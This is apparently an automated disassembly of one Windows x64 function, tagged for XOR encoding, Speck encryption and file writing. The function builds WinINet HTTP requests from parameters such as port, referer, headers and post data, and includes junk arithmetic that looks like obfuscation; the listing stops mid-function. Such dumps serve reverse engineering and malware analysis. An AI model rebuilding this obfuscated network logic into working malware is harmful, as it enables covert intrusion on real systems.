Function at 0x14002e3d0
Capabilities:
Encode data using xor
Encrypt data using speck
Get disk size
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e18]
mov eax, 0x1f18
call fcn.1400d2b70
sub rsp, rax
mov qword [rbp + 0x338], 0xfffffffffffffffe
movaps xmmword [rsp + 0x1f00], xmm6
movaps xmmword [rsp + 0x1ef0], xmm7
movaps xmmword [rsp + 0x1ee0], xmm8
movaps xmmword [rsp + 0x1ed0], xmm9
mov rax, qword [0x1401bbe90]
xor rax, rsp
mov qword [rbp + 0x1dc0], rax
mov r15, r9
mov qword [rbp], r9
mov rbx, r8
mov r12, rdx
mov r13, rcx
mov qword [rbp - 0x58], rcx
mov qword [rbp + 0x3d0], rcx
xor r14d, r14d
mov dword [rsp + 0x44], r14d
mov rcx, r9
call fcn.14002b250
lea rcx, [0x1401bb9a8]
test al, al
mov rax, qword [0x1401bb9a8]
je 0x14002e4e8
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x78], rax
lea rdx, str.this_module_doesnt_support_file_request
test rdx, 0xffffffffffff0000
jne 0x14002e4a8
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002e4b2
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.1400025b0
jmp 0x14002e4b2
lea rcx, [rbp + 0x78]
call fcn.140003290
nop
lea rdx, [rbp + 0x78]
mov rcx, r13
call fcn.14002a4b0
mov eax, 1
mov dword [rsp + 0x44], eax
mov rdx, qword [rbp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002e4e0
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov rax, r13
jmp 0x140032111
call qword [rax + 0x18]
add rax, 0x18
test r12, r12
jne 0x14002e567
mov qword [rbp + 0x40], rax
lea rdx, str.InternetOpen_Failed
test rdx, 0xffffffffffff0000
jne 0x14002e528
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002e532
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.1400025b0
jmp 0x14002e532
lea rcx, [rbp + 0x40]
call fcn.140003290
nop
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.14002a4b0
mov eax, 1
mov dword [rsp + 0x44], eax
mov rdx, qword [rbp + 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002e4e0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, r13
jmp 0x140032111
mov qword [rsp + 0x68], rax
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
mov dword [rbp - 0x30], r14d
lea rax, [rbp + 0x2c8]
mov qword [rbp + 0x58], rax
lea rdx, [0x14014fea0]
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
mov qword [rbp + 0x2e0], 0xf
mov qword [rbp + 0x2d8], r14
mov byte [rbp + 0x2c8], 0
or rsi, 0xffffffffffffffff
cmp byte [rdx], 0
jne 0x14002e5ce
mov r8, r14
jmp 0x14002e5db
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002e5d1
lea rcx, [rbp + 0x2c8]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x2c8]
lea rcx, [rsp + 0x60]
call fcn.140020230
nop
lea r9, [rbp - 0x30]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call fcn.14002ad30
movzx eax, al
test eax, eax
jne 0x14002e6dc
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x48], rax
lea rdx, str.InternetCrackUrl_Failed
test rdx, 0xffffffffffff0000
jne 0x14002e666
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002e670
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400025b0
jmp 0x14002e670
lea rcx, [rbp + 0x48]
call fcn.140003290
nop
lea rdx, [rbp + 0x48]
mov rcx, r13
call fcn.14002a4b0
mov eax, 1
mov dword [rsp + 0x44], eax
mov rdx, qword [rbp + 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002e69e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002e6b8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002e6d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
jmp 0x14002e54b
mov byte [rsp + 0x48], 0
lea rdx, str.redirectCheck
mov rcx, r15
call fcn.140039930
lea rcx, [0x1401c4c38]
cmp rax, rcx
je 0x14002e72c
lea rdx, str.redirectCheck
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 5
jne 0x14002e72c
lea rdx, str.redirectCheck
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.1400392e0
mov byte [rsp + 0x48], al
mov byte [rsp + 0x49], 0
mov dword [rbp + 0x1c], 0x50
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x58], rax
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
call fcn.140002410
add rax, 0x18
mov qword [rbp + 0xe8], rax
lea r8, [rbp + 0x1c]
lea rdx, [rsp + 0x49]
lea rcx, [rbp + 0xe8]
call fcn.14002b0b0
lea rdx, str.port
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 1
jne 0x14002e7a4
lea rdx, str.port
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140038f60
mov edi, eax
mov dword [rbp - 0x30], eax
jmp 0x14002e7b0
mov edi, dword [rbp - 0x30]
test edi, edi
cmove edi, dword [rbp + 0x1c]
mov dword [rbp - 0x30], edi
mov byte [rsp + 0x40], 0
mov rbx, qword [rbx]
mov rdx, qword [rsp + 0x68]
test rbx, rbx
je 0x14002e854
mov r11d, r14d
mov r10, r14
mov r9, rbx
nop
cmp qword [r9 + 0x10], 0
je 0x14002e854
cmp dword [r9 + 8], edi
jne 0x14002e819
mov eax, r14d
test rdx, rdx
setne al
test eax, eax
je 0x14002e849
mov rax, qword [r9]
mov r8, rdx
sub r8, rax
movzx ecx, word [rax]
cmp cx, word [rax + r8]
jne 0x14002e80b
add rax, 2
test cx, cx
jne 0x14002e7f3
mov eax, r14d
jmp 0x14002e810
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
jne 0x14002e82e
inc r11d
inc r10
add r9, 0x18
cmp r10, 0x400
jge 0x14002e854
jmp 0x14002e7d0
movsxd rax, r11d
lea rcx, [rax + rax*2]
mov rax, qword [rbx + rcx*8 + 0x10]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x14002eb59
jmp 0x14002e854
mov ecx, 0x80004005
call fcn.140001920
int3
mov r10, qword [0x1401c58f8]
test r10, r10
jne 0x14002ea64
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r15, rax
mov r9d, dword [0x1401c3d80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xa
jne 0x14002e9da
mov rbx, r14
call fcn.1400ce478
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x8d0], xmm0
inc rbx
cmp rbx, 0x2f
jb 0x14002e8b3
mov r9, r14
mov r10d, 0x2e
lea r11d, [r10 + 1]
nop
mov edx, 0x2e
cmp r9, rdx
jge 0x14002e9c4
cmp r10, 4
jl 0x14002e98d
lea rcx, [rbp + 0xa30]
mov r8d, 0x2a
sub r8, r9
shr r8, 2
inc r8
lea rax, [r8*4]
sub rdx, rax
nop word [rax + rax]
movsd xmm0, qword [rcx + 0x10]
movsd xmm1, qword [rcx + 8]
comisd xmm0, xmm1
jbe 0x14002e93a
movsd qword [rcx + 0x10], xmm1
movsd qword [rcx + 8], xmm0
movsd xmm0, qword [rcx + 8]
movsd xmm1, qword [rcx]
comisd xmm0, xmm1
jbe 0x14002e952
movsd qword [rcx + 8], xmm1
movsd qword [rcx], xmm0
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx - 8]
comisd xmm0, xmm1
jbe 0x14002e96a
movsd qword [rcx], xmm1
movsd qword [rcx - 8], xmm0
movsd xmm0, qword [rcx - 8]
movsd xmm1, qword [rcx - 0x10]
comisd xmm0, xmm1
jbe 0x14002e984
movsd qword [rcx - 8], xmm1
movsd qword [rcx - 0x10], xmm0
sub rcx, 0x20
dec r8
jne 0x14002e920
cmp rdx, r9
jle 0x14002e9c4
movsd xmm0, qword [rbp + rdx*8 + 0x8d0]
movsd xmm1, qword [rbp + rdx*8 + 0x8c8]
comisd xmm0, xmm1
jbe 0x14002e9bc
movsd qword [rbp + rdx*8 + 0x8d0], xmm1
movsd qword [rbp + rdx*8 + 0x8c8], xmm0
dec rdx
cmp rdx, r9
jg 0x14002e992
inc r9
dec r10
dec r11
jne 0x14002e8e0
mov r9d, dword [0x1401c3d80]
test r15, r15
je 0x14002ea02
lea rdx, str.InternetConnectW
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
mov qword [0x1401c58f8], rax
mov r9d, dword [0x1401c3d80]
jmp 0x14002ea09
mov r10, qword [0x1401c58f8]
imul r9d, r9d
mov eax, 0x2aaaaaab
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r9d, eax
cmp r9d, 5
jne 0x14002ea56
lea eax, [r9 + 0x33]
mov r8d, 0x68
test r8d, r8d
je 0x14002ea4d
mov ecx, r8d
cdq
idiv r8d
mov r8d, edx
mov eax, ecx
test ecx, ecx
jne 0x14002ea38
add eax, r8d
mov dword [0x1401c3d80], eax
test r10, r10
je 0x14002ea95
mov rdx, qword [rsp + 0x68]
mov r15, qword [rbp]
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
movzx r8d, di
mov rcx, r12
call r10
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x14002eb54
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x68], rax
lea rdx, str.InternetConnect_Failed
test rdx, 0xffffffffffff0000
jne 0x14002eade
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002eae8
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400025b0
jmp 0x14002eae8
lea rcx, [rbp + 0x68]
call fcn.140003290
nop
lea rdx, [rbp + 0x68]
mov rcx, r13
call fcn.14002a4b0
mov eax, 1
mov dword [rsp + 0x44], eax
mov rdx, qword [rbp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002eb16
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002eb30
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002eb4a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
jmp 0x14002e54b
mov byte [rsp + 0x40], 1
mov edi, 0x80400200
mov eax, 0x80600200
cmp byte [rsp + 0x48], 0
cmovne edi, eax
or edi, 0xc000
cmp byte [rsp + 0x49], 0
je 0x14002eb7e
or edi, 0x803080
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
lea rdx, [0x14014fed4]
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002ec93
lea rax, [rbp + 0x268]
mov qword [rbp + 0x58], rax
lea rdx, [0x14014fed4]
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
mov qword [rbp + 0x280], 0xf
mov qword [rbp + 0x278], r14
mov byte [rbp + 0x268], 0
cmp byte [rdx], 0
jne 0x14002ebf0
mov r8, r14
jmp 0x14002ebfd
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ebf3
lea rcx, [rbp + 0x268]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x190]
call fcn.140020230
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x78]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002ec78
cmp dword [rbx + 0x10], 0
jl 0x14002ec6a
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002ec6a
call fcn.140002410
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002ec5c
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x78], rax
mov r15, qword [rbp]
jmp 0x14002ec78
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x78]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x190]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002ec93
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
lea rdx, [0x140150048]
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002edb0
lea rax, [rbp + 0x2a8]
mov qword [rbp - 8], rax
lea rdx, [0x140150048]
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
mov qword [rbp + 0x2c0], 0xf
mov qword [rbp + 0x2b8], r14
mov byte [rbp + 0x2a8], 0
cmp byte [rdx], 0
jne 0x14002ed05
mov r8, r14
jmp 0x14002ed1a
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ed10
lea rcx, [rbp + 0x2a8]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x130]
call fcn.140020230
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x80]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002ed95
cmp dword [rbx + 0x10], 0
jl 0x14002ed87
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002ed87
call fcn.140002410
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002ed79
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x80], rax
mov r15, qword [rbp]
jmp 0x14002ed95
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x80]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x130]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002edb0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x68], rax
lea rdx, str.referer
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002eec5
lea rax, [rbp + 0x2e8]
mov qword [rbp - 8], rax
lea rdx, str.referer
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
mov qword [rbp + 0x300], 0xf
mov qword [rbp + 0x2f8], r14
mov byte [rbp + 0x2e8], 0
cmp byte [rdx], 0
jne 0x14002ee22
mov r8, r14
jmp 0x14002ee2f
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ee25
lea rcx, [rbp + 0x2e8]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x140]
call fcn.140020230
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x68]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002eeaa
cmp dword [rbx + 0x10], 0
jl 0x14002ee9c
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002ee9c
call fcn.140002410
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002ee8e
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x68], rax
mov r15, qword [rbp]
jmp 0x14002eeaa
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x68]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x140]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002eec5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x70], rax
lea rdx, str.acceptTypes
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002efe0
lea rax, [rbp + 0x288]
mov qword [rbp - 8], rax
lea rdx, str.acceptTypes
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
mov qword [rbp + 0x2a0], 0xf
mov qword [rbp + 0x298], r14
mov byte [rbp + 0x288], 0
cmp byte [rdx], 0
jne 0x14002ef37
mov r8, r14
jmp 0x14002ef4a
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ef40
lea rcx, [rbp + 0x288]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x150]
call fcn.140020230
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x70]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002efc5
cmp dword [rbx + 0x10], 0
jl 0x14002efb7
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002efb7
call fcn.140002410
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002efa9
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x70], rax
mov r15, qword [rbp]
jmp 0x14002efc5
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x70]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x150]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002efe0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rbp - 0x70]
cmp dword [rax - 0x10], 0
cmove rax, r14
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], r14
mov rax, qword [rbp - 0x68]
cmp dword [rax - 0x10], 0
cmove rax, r14
mov r9, qword [rbp - 0x80]
cmp dword [r9 - 0x10], 0
cmove r9, r14
mov rdx, qword [rbp - 0x78]
cmp dword [rdx - 0x10], 0
cmove rdx, r14
mov r12d, 1
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x258]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r13, rax
lea rcx, [0x1401bb9a8]
test rax, rax
mov rax, qword [0x1401bb9a8]
jne 0x14002f178
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x38], rax
lea rdx, str.HttpOpenRequest_Failed
test rdx, 0xffffffffffff0000
jne 0x14002f0a3
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002f0ad
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.1400025b0
jmp 0x14002f0ad
lea rcx, [rbp + 0x38]
call fcn.140003290
nop
lea rdx, [rbp + 0x38]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f0db
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f0f4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f10d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f126
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f13f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f159
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f173
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
lea rdx, [0x140150090]
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002f34c
lea rdx, [0x140150088]
lea rcx, [rbp + 0xd8]
call fcn.140002110
nop
lea rax, [rbp + 0x448]
mov qword [rbp - 8], rax
lea rdx, [0x140150090]
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
lea rcx, [rbp + 0x448]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140020230
mov rdi, rax
lea rcx, [0x1401bb9a8]
mov rdx, qword [0x1401bb9a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp + 0x60], rax
lea rdx, str.Content_Type:
test rdx, 0xffffffffffff0000
jne 0x14002f236
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14002f240
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400025b0
jmp 0x14002f240
lea rcx, [rbp + 0x60]
call fcn.140003290
nop
mov r8, rdi
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1a0]
call fcn.1400204c0
nop
lea r8, [rbp + 0xd8]
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.1400204c0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x58]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002f2c4
cmp dword [rbx + 0x10], 0
jl 0x14002f2b5
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002f2b5
call fcn.140002410
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002f2aa
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x58], rax
jmp 0x14002f2c4
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x160]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f2e0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1a0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f2fc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f315
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1b0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f331
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xd8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f34c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, str.additionalRequestHeaders
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002f40d
lea rax, [rbp + 0x4a8]
mov qword [rbp - 8], rax
lea rdx, str.additionalRequestHeaders
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
lea rcx, [rbp + 0x4a8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140020230
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.140010740
nop
mov rdx, qword [rbp + 0x1c0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f3cc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
call fcn.140002410
add rax, 0x18
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0xb0]
call fcn.140032150
nop
mov rdx, qword [rbp + 0xb0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f40d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
lea rdx, str.postData
mov rcx, r15
call fcn.140039930
cmp byte [rax + 8], 4
jne 0x14002f4ee
lea rax, [rbp + 0x428]
mov qword [rbp - 8], rax
lea rdx, str.postData
mov rcx, r15
call fcn.140039930
mov rdx, qword [rax]
lea rcx, [rbp + 0x428]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140020230
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x70]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14002f4d3
cmp dword [rbx + 0x10], 0
jl 0x14002f4c4
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14002f4c4
call fcn.140002410
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14002f4b9
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
jmp 0x14002f4d3
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x1d0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f4ee
mov rcx, qword [rdx]
mov rax, qword [rcx]
